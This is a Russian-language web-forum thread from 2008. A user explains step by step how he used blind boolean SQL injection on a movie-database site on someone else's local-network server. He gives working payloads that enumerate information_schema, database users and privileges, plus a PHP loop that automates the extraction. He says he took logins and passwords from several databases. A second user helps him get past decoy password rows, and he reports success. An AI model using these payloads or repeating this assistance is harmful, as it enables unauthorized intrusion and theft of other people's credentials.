|
|
|
| Еще раз здраствуете.
Подскажите пожалуйста, почему вместо пароля, выдает 5 звездочек?
И без разницы к какой учетной записи я делаю запрос, пароль почему-то всегда выдает "*****"
Причем, если, например, учетная записить такого типа:
login = anton
pass = NetCom
То запрос
select pass from таблица where pass='NetCom';
Тогда всё нормально и результат - netcom
но если сделать так
select pass from таблица where login='anton';
то результат - *****
Это что шифрование какое-то? | |
|
|
|
|
|
|
|
для: Антоха
(15.01.2008 в 11:43)
| | А кто выдаёт? | |
|
|
|
|
|
|
|
для: Антоха
(15.01.2008 в 11:43)
| | Приведите код который заносит данные в бд . | |
|
|
|
|
|
|
|
для: dima2207
(15.01.2008 в 15:32)
| | В общем, не буду ходить вокруг до около. Так как знания в пхп и mysql у меня не большие и я только еще пока создал первый нормальный проект, и прежде чем выпускать его в инет, решил
почитать про основый безопасности, т.к. до этого слышал о sql-иньекциях и т.п. Начал я про это все читать где-то неделю назад и узнал много нового в том числе и про mysql. Плюс к своему ужасу понял, насколько я был наивен по защите информации и проверке $_GET, $_POST и т.п. данных.
Извините конечно, что сразу не задаю конкретный вопрос, а сейчас распишу немного ситуацию, возможно кому-то будет интересно почитать, не все же вундеркиндеры.
----------------------------------------------------------------------------------------------------------
В общем, после 3-4 дней изучения разных спобобов инъекций, хотя каких там способов, везде одно и тоже написано и обычно только пишут про union + когда можно вводить апосторофы.
Потом наткнулся на статью, написаную аж в 2004 году. Там есть интересный способ, который работает в не зависимости от версии бд, который основывается на добавление дополнительных условий и если они истины, то страница выдает точно такую же страницу, как если бы мы ее запрашивали без этих истиных условии. Если не истино условие, то выдается обычно пустая страница:
Т.е. если, например, есть страница
то при при добавлении условия
Т.к. условие 1=1 - истино, то никаких изменений не произойдет и мы будем находиться, на той же странице www.site.ru?id=1
А если поставить +and+1=2, то будет в большинстве случаев пустая страница.
Вот там и написано про такой способ, приведено нормальное кол-во разных небольших примеров и дальше говорится, что этих способов много и все зависит только от фантазии атакующего.
И я вот последние несколько дней эксперементировал с такими разными условиями и добился не плохих результатов. И все свои испытания я проводил сначало на себе, а потом пытался их реализовать на одном проекте в нашей локальной сети. У админа там есть база фильмов, где я нашел, правда только пока один параметр уязвимый к sql-инъекции.
(сейчас уже не важна имено эта база фильмов, а важно какие еще есть базы, работающие под этой учетной записью)
В общем, если вернуться сейчас на несколько дней назад, то атака начиналась бы так:
Есть основная страница
http://192.168.1.50/filmbase/found.php?order=name&janr=5
сейчас бы делал так (буду писать только добавочные условия)
+and+(select+count(schema_name)+from+information_schema.schemata)>5
|
Ничего не изменится, если кол-во баз данных больше 5
+and+(select+count(schema_name)+from+information_schema.schemata)>10
|
Выдаст пустую страницу (или опред. пустой результат в ней) если кол-во баз меньше 10
Т.е. мы просто перебираем и ждем пока не вернемся на не пустую страницу, следовательно, выражение истино.
Допустим, мы нашли 8 баз данных.
Теперь, например, берем первую базу.
+and+length((select+schema_name+from+information_schema.schemata+limit+0,1))>10
|
Если страница не пустая, то название базы данных больше 10 символов.
+and+ascii(lower(substring((select+schema_name+from+information_schema.schemata+limit+0,1),1,1)))=97
|
Если страница не пустая, то код первой буквы равен 97 (т.е. англ. "а")
Можно выяснить пользователя этой базы
+and+ascii(lower(substring(user(),1,1)))=97
|
Истино если начинается на англ. букву "а";
Допустим выяснили, что это root@localhost, теперь можем узнать привилегии этого пользователя.
(select is_grantable from information_schema.user_privileges where grantee='root@localhost' and privilege_type='insert')='yes';
|
Если вернет yes - значит можно вставлять (insert), no - нельзя, еще может вернуть пустое значение, которое наверное обозначает, что нельзя.
Понятно, что если нельзя вводить апострофы, то заменить все на char(), т.е. например, grantee='root@localhost' на grantee=char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)
Т.е. понятен смысл, и так мы можем очень много узнать, точнее даже почти все что нужно про другие базы, сколько их, сколько в них кол-во таблиц, полей и соответсвтенно содержимое этих полей. И как теперь мне стало ясно, то если, например, ты сделал какой-нибудь проект, вроде бы в этом проекте все предусмотрел, применяешь там разные функции: htmlspecialchars(), substr() и т.п. но если рядом под этим же пользователем есть другая база, какой-нибудь говененький опросик, защите которого ты не предал особого значения, то с помощью этого опросика по идее, как я выше описал можем получить какую-нибудь информацию из этого проекта.
В ручную перебирать конечно очень долго, то для этого лучше написать какой-нибудь эксплоит, например, на перл или на чем-нибудь другом. Так как я только знаю немного пхп, а другие языки не знаю, то сначала думал, что на нем такой эксплоит врядли можно сделать, пока не вспомнил про хорошую функцию:
file_get_contents() - которая грабит страницу. И уж был удивлен, когда смог написать "эксплоит".
Все впринципе просто, посылаю запрос функцией file_get_contents() , где задаю необходимые условия с опред. параметрами, дальше граблю страницу и если в ней нахожу искомое слово, а оно будет, если только уловие истино, тогда возвращаю результат, иначе меняю параметры и снова вызываю функцию file_get_contents().
Примерно, вот так (кусочек кода).
<?php
// где, $http - запрос; $switch - добавочные условия
$file = file_get_contents($http.$switch);
// если есть название фильма "Дом на Турецкой"
if(preg_match("|(?:Дом на Турецкой)|i", $file)) continue;
?>
|
Думаю, что не открыл Америку, но сколько не искал в инете, то нигде не видел, чтобы писали про что-то на подобии такого. Может это и не самый лучший способ, но по идее должны рассматриваться разные варианты. А сколько не искал подобной инфы, на всех сайтах написано впринципе одно и тоже.
----------------------------------------------------------------------------------------------------------
Вот, вопрос мой уже был задан, но только он идет в такой инъекции (для наглядности не стал писать в char() ), т.е.
+and+((select+forum.login.pass+from+forum.login+where+name='anton'))
|
выдает *****
+and+((select+forum.login.name+from+forum.login+where+name='anton'))
|
выдает anton
если написать так
+and+((select+forum.login.pass+from+forum.login+where+pass='NetCom'))
|
выдает netcom
+and+((select+forum.login.name+from+forum.login+where+pass='NetCom'))
|
выдает anton
Вот почему так происходит?
Если по какой-то причине нельзя отвечать на такого рода вопросы, то можете хотя бы сказать, возможно ли узнать пароль, т.к. если можно, то вдруг найдется какой-нибудь маразматик с прямыми руками и проделает такой же фокус и вытащит пароли, так что он тогда узнает и мой пароль, пароль моего брата, пароли моих знакомых. А этого не очень хочется...
Если это какой-то метод шифрования, который врят ли можно расшифровать, то как тогда мне реализовать такую же фишку? | |
|
|
|
|
|
|
|
для: Антоха
(15.01.2008 в 22:24)
| | Извините, Вы так много написали, что я читать не стал :) Просто я не понял. Вы хотите кого-то взломать? | |
|
|
|
|
|
|
|
для: Антоха
(15.01.2008 в 22:24)
| | многобукав. ниасилил. | |
|
|
|
|
|
|
|
для: Trianon
(16.01.2008 в 00:20)
| | Ха. Хотел сказать подобное. Да форум не тот... | |
|
|
|
|
|
|
|
для: Unkind
(16.01.2008 в 00:24)
| | Не нуно пугаться таких больших сообщений :)
А зачем все читать? Вы люди должны быть грамотные, в самом начале должны были все понять, а новичков тут много, может кому-нибудь и пригодились бы такие знания.
Ну если нет времени читать, напишу заного по короче.
>Unkind
Извините, Вы так много написали, что я читать не стал :) Просто я не понял. Вы хотите кого-то взломать?
Да. Точнее, я уже все как бы взломал.
Объясняю, у нас есть локальная сеть. Есть главный сервак. На этом серваке есть веб-проект - база фильмов, где есть описания этих фильмов. И вот мы там ставим оценки разным фильмам, пишем комментарии и т.п.
Вот я решил проверить на sql-инъекцию эту базу фильмов. Инъекция прошла успешно.
Немного повозившись я получил нужную себе информацию, в том числе логины и пароли этой базы. Затем я решил посмотреть (при помощи инъекции) какие базы еще есть. Оказалось 8 штук. Выбрал себе 2 интересные по названию базы данных. В первой для себя всё что нужно узнал.
Потом приступил ко второй. Нашел в ней нужную таблицу (login), нашел в ней нужные столбцы (name и pass)
Вот загвоздка в том, что логины я получаю, а пароли выводятся как *****
Если же в эту таблицу со столбцом pass добавить where pass='Существующий пароль', то он выводиться нормально.
Дак вот вопрос, почему так происходит? В следствии чего это? Ведь у других баз я выяснил пароли, а тут звездочки.
Вот мне это и стало интересно, чтоже это за фишка такая...
Если по какой-то причине, запрещено отвечать на такого рода вопросы (хотя в правилах такое не написано), то пожалуйста хотя бы подскажите, как мне добиться такого же эффекта ***** | |
|
|
|
|
|
|
|
для: Антоха
(16.01.2008 в 01:57)
| | Может в таблице просто по две строки на каждый логин?
В одной в pass звездочки лежат (специально для таких любопытных), в другой - реальный пароль.
Хотя проще, конечно, было нормально входные данные обработать.
Но у нас же никогда прямых путей народ не ищет.. | |
|
|
|
|
|
|
|
для: Trianon
(16.01.2008 в 02:15)
| | Спасибо. Я уже почти все сделал. Зашел написать об этом и увидел:
>Trianon
>В одной в pass звездочки лежат (специально для таких любопытных), в другой - реальный пароль.
Вы почти угадали.
Когда допер на себе попробовать:
limit 0,1 - *****
limit 1,1 - получаю пароль
Воодушевленный и гордый собой пошел пробовать другие логины и еще было примерно минут 10 тупижа у меня, т.к. оказалось, что пароль у каждого логина на разных лимитах, например, получаю только на limit 6,1, а на других выдает звездочки.
Лично я вообще почти нихрена не понял, какая там структура в таблице login в этих двух полях name и pass сделана. Ну да ладно, главно что есть результат.
Спасибо за ответы. | |
|
|
|
|
|
|
|
для: Антоха
(16.01.2008 в 03:29)
| | Вот так вот и бывает. Раздуваются те, кто толком и не знает синтаксиса SQL... | |
|
|
|
|